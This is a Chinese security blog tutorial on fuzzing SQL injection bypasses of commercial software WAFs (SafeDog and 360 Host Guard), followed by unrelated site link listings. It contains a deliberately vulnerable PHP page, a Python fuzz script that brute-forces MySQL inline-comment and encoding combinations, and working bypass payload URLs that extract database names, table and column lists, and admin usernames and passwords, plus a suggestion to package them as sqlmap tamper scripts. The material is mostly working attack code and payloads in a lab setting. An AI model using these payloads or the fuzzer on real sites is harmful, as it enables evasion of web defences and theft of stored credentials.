Fuzz自动化Bypass软WAF姿势

2018 年 2 月 9 日 FreeBuf FK_T

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00 前言

在我刚接触安全这块时候遇到注入有WAF的网站时候无从下手,寻找各种有关绕过waf的文章,在网页浏览器上使用SQL语句为了绕过WAF变了个法加了些特殊的数字注释符就懵了,当然最后经过精心构造的SQL语句,数据库必须也得能识别并执行。本文主要介绍如何在本地安装软WAF并使用Python写的Fuzz脚本自动化绕过WAF并结合跑出来的Payload语句绕过安全防护软件。文章写的比较细主要分享下,更多细节方面请参考上篇文章 全方位绕过软WAF攻略。

找一些奇葩的语句还可以执行的,或者自己能构造的,说的简单点就和密码爆破一样有些人字典强就可以扫到各种强悍的弱口令,Fuzz跑组合就有姿势了。

0x01 安全狗安装

访问:http://www.safedog.cn/website_safedog.html

选择自己的平台和web容器,我的是windows平台,Apacheweb容器,所以我就下载windows apache版

这里自定义路径,将开机自启动关闭

如果是使用phpstudy的话,请将运行模式改成系统服务,不然前面安全狗的插件会安装不上

0x02**安全狗卸载**

这里讲下细节部分卸载安全狗后出现的问题,启动Apache会发生错误:

在Apache的conf目录下有这样一个文件,SafeDogSiteApacheFilter.Conf,当然当您卸载以后可能这个文件也随之删除了,但是http.conf文件中还有这样一段:Include “d:/wamp/apache24/conf/SafeDogSiteApacheFilter.Conf”,我们只需要删除这段话就可以让apache成功的启动了

SQL注入代码

<?phpheader('content-type:text/html;chaset=utf-8');ini_set('display_errors',0);$mysqli = new mysqli('localhost', 'root','root','fkt');$sql = "select * from new where id=".$_GET["id"];$result = $mysqli->query($sql);if($result === false){//执行失败    echo $mysqli->error;    echo $mysqli->errno;}echo '<hr><table border="1px" align="center">';echo '<tr><th>ID</th><th>a</th><th>fkt</th></tr>';while($row = $result->fetch_assoc()){ echo '<tr>';    echo '<td>'.$row['id'].'</td>';    echo '<td>wait</td>';    echo '<td>'.$row['content'].'</td>';    echo '</tr>';}echo '</table>';$mysqli->close();?>

mysql语句

mysql> create database fkt;Query OK, 1 row affected (0.00 sec)mysql> use fkt;Database changedmysql> CREATE TABLE new(    ->     id int not null,    ->     content char(20)    -> );Query OK, 0 rows affected (0.19 sec)mysql> insert into new    -> values(    -> '1','xiaobai');Query OK, 1 row affected (0.02 sec)

0x03 mysql模拟注入查询**

**

mysql的注释有三种方式:

1、块注释:/ ….. /

2、行注释:#

3、行注释:— (—%20,注意后面有一个空格,与SQL标准稍有差别)

自MySQL3.23 版以来,可在C 风格的注释中“隐藏” MySQL特有的关键字,注释以“/ !”而不是以“ / ”起头

现在我们在mysql命令行中执行一下SQL语句:

Select * from news where id=1Select * from news /*!where*/id=1

我们来看下在命令行下执行的结果:

还是可以正常的查询出内容,我们在mysql命令行中进行下联合查询注入:Order by N

Select * from new where id =1 order by 1;Select * from new where id =1 order by 2;

Order by 测试出字段为2:

使用mysql联合查询步骤,模拟SQL注入回显数据

select * from new where id=1 union all select null,null;select * from new where id=1 and 1=2 union all select null,null;select * from new where id=1 and 1=2 union all select user(),null;

**


这样也是能正常查询出来的

mysql> select * from new where id=1 and 1=2 union all select /*!user*//*!()*/,null;

**


我们在浏览器上通过内联注释注入一下看看会不会被拦截,还是被拦截了,老版本的安全狗可以通过内联注释绕过所以咱们今天Fuzz自动化Bypass的思路就是结合这个内联注释,加一些特殊符号,以及url编码来进行对安全狗的绕过

http://192.168.30.129/fuzz/index.php?id=1/*!union*//*!select*/1,2

**


0x04 Fuzz自动化bypass**

代码比较简洁我就直接给上注释了这样看得清晰点,只要是在释符号里面就可以包括任意特殊的符号等,挡住WAF的视线这样说更明白点。列如: /!union select /

Fuzz脚本代码如下:

**


注意底部我的SQL查询的页面中有wait这个字符,没有wait的话你就看看’’正常的页面在有啥必出现的字符 改了就行或者在加个else print (”未过狗”)

code如下:

#encoding=utf-8#实现思路;#不被拦截的页面上会出现字符“wait”#被拦截的不会,使用for循环请求并检查返回的页面中是否存在该字符即可。import requests#引入请求模块url = "http://127.0.0.1/index.php?id=1";#定义目标Fuzz_a = ['/*!','*/','/**/','/','?','~','!','.','%','-','*','+','=']Fuzz_b = ['']Fuzz_c = ['%0a','%0b','%0c','%0d','%0e','%0f','%0h','%0i','%0j']FUZZ = Fuzz_a+Fuzz_b+Fuzz_c#配置fuzz字典header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}#设置请求的headersfor a in FUZZ: pass for b in FUZZ: pass for c in FUZZ: for d in FUZZ: pass for e in FUZZ: pass PYLOAD = "/*!union"+a+b+c+d+e+"select*/ 1,2" urlp = url+PYLOAD res = requests.get(urlp,headers=header) #使用for排列组合fuzz字典并请求页面 if 'wait' in res.text: print ("[*]URL:"+ urlp +"过狗!") f=open('result.txt','a') f.write(urlp+"\n") f.close #如果返回的页面中包含wait字符,则打印并写出过狗payload。

将这段代码放进kali linux,或者windows系统需要安装pip模块python2.7即可然后运行一下

在运行之前一定要将cc防护关闭, 或者把IP黑名单关掉Fuzz过快容易被封IP

在windows系统上运行几分钟后,会出现一个叫result.txt的文件,里面就是我们跑出来的姿势了

kali运行结果如下

随便取一个姿势出来看看姿势有了

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*/1,2

我们来手工绕过下吧!

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user()/*!/*!*/,2

这样又被拦截了,“你不是说绕过了安全狗了吗?”。当然已经绕过了,需要这样写语句

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,2

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,/*!database/*!()*/

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(table_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.tables/*!/*!*//*!where/*!/*!*//*!table_schema=/*!/*!*//*!database/*!/*!()*/

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(column_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.columns/*!/*!*//*!where/*!/*!*//*!table_name=/*!/*!*//*!"admin"/*!/*!*/

获取出了admin表的字段

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(concat(user,0x2c,pwd))/*!/*!*/,NULL/*!from/*!/*!*//*!admin/*!/*!*/

360主机卫士Fuzz

同样的我们来测试下360主机卫士

Fuzz匹配到的语句

http://192.168.30.135/fuzz/index.php?id=1/!union/!/!/!%0d%0dselect*/ 1,2 取一个姿势试试完全可以

这样就完全没问题了!姿势有了,当然也可以写入到Sqlmap的Tamper脚本上,Copy\slqmap\tamper目录下文件 ,按照他的规则,照着改下就行了

最后附上一个过360主机的脚本 可以参考 按照如下写法

结尾:

文章只是抛砖引玉了下,主要是个思路学习过程,使用Pyhton脚本结合了下Mysql内联注释定义了一些特殊符号相当给脚本配合了一个字典达到Fuzz最终的效果,完了之后 也可以对比一下,看一下能过的Fuzz有没有特点的规律 总结一下。当然也可以自己在自定义一些,在测试其他的软WAF不局限于以上这些内容。

*本文原创作者:FK_T,本文属FreeBuf原创奖励计划,未经许可禁止转载

登录查看更多
1

相关内容

【2020新书】实战R语言4,323页pdf
专知会员服务
100+阅读 · 2020年7月1日
专知会员服务
30+阅读 · 2020年5月20日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
【资源】100+本免费数据科学书
专知会员服务
107+阅读 · 2020年3月17日
姿势服装随心换-CVPR2019
专知会员服务
34+阅读 · 2020年1月26日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
【哈佛大学商学院课程Fall 2019】机器学习可解释性
专知会员服务
103+阅读 · 2019年10月9日
PC微信逆向:两种姿势教你解密数据库文件
黑客技术与网络安全
16+阅读 · 2019年8月30日
3 行代码 5 秒抠图的 AI 神器,根本无需 PS
大数据技术
20+阅读 · 2019年7月24日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
一文看懂怎么用 Python 做数据分析
大数据技术
24+阅读 · 2019年5月5日
已删除
架构文摘
3+阅读 · 2019年4月17日
抖音爬虫
专知
3+阅读 · 2019年2月11日
比Selenium快100倍的方法爬东方财富网财务报表
程序人生
8+阅读 · 2018年10月31日
Neo4j 和图数据库起步
Linux中国
8+阅读 · 2017年12月20日
教你用Python爬虫股票评论,简单分析股民用户情绪
数据派THU
10+阅读 · 2017年12月12日
Deep Learning for Deepfakes Creation and Detection
Arxiv
6+阅读 · 2019年9月25日
Object Detection in 20 Years: A Survey
Arxiv
48+阅读 · 2019年5月13日
Arxiv
12+阅读 · 2019年1月24日
Music Transformer
Arxiv
5+阅读 · 2018年12月12日
Arxiv
3+阅读 · 2018年6月14日
Arxiv
5+阅读 · 2018年4月17日
VIP会员
相关VIP内容
【2020新书】实战R语言4,323页pdf
专知会员服务
100+阅读 · 2020年7月1日
专知会员服务
30+阅读 · 2020年5月20日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
【资源】100+本免费数据科学书
专知会员服务
107+阅读 · 2020年3月17日
姿势服装随心换-CVPR2019
专知会员服务
34+阅读 · 2020年1月26日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
【哈佛大学商学院课程Fall 2019】机器学习可解释性
专知会员服务
103+阅读 · 2019年10月9日
相关资讯
PC微信逆向:两种姿势教你解密数据库文件
黑客技术与网络安全
16+阅读 · 2019年8月30日
3 行代码 5 秒抠图的 AI 神器,根本无需 PS
大数据技术
20+阅读 · 2019年7月24日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
一文看懂怎么用 Python 做数据分析
大数据技术
24+阅读 · 2019年5月5日
已删除
架构文摘
3+阅读 · 2019年4月17日
抖音爬虫
专知
3+阅读 · 2019年2月11日
比Selenium快100倍的方法爬东方财富网财务报表
程序人生
8+阅读 · 2018年10月31日
Neo4j 和图数据库起步
Linux中国
8+阅读 · 2017年12月20日
教你用Python爬虫股票评论,简单分析股民用户情绪
数据派THU
10+阅读 · 2017年12月12日
相关论文
Top
微信扫码咨询专知VIP会员